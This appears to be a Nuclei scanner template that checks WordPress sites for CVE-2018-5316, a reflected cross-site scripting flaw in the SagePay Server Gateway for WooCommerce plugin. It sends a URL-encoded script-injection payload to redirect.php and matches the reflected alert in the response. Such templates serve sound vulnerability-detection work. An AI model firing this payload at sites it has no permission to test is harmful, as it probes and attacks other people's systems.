id: CVE-2018-5316

info:
  name: SagePay Server Gateway for WooCommerce <= 1.0.8 - Reflected Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: The SagePay Server Gateway for WooCommerce plugin before 1.0.9 for WordPress has XSS via the includes/pages/redirect.php page parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5316
    - https://wordpress.org/support/topic/sagepay-server-gateway-for-woocommerce-1-0-7-cross-site-scripting/#post-9792337
    - https://wordpress.org/plugins/sagepay-server-gateway-for-woocommerce/#developers
    - https://packetstormsecurity.com/files/145459/WordPress-Sagepay-Server-Gateway-For-WooCommerce-1.0.7-XSS.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5316
    cwe-id: CWE-79
  tags: cve,cve2018,wordpress,xss,wp-plugin,woocommerce

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200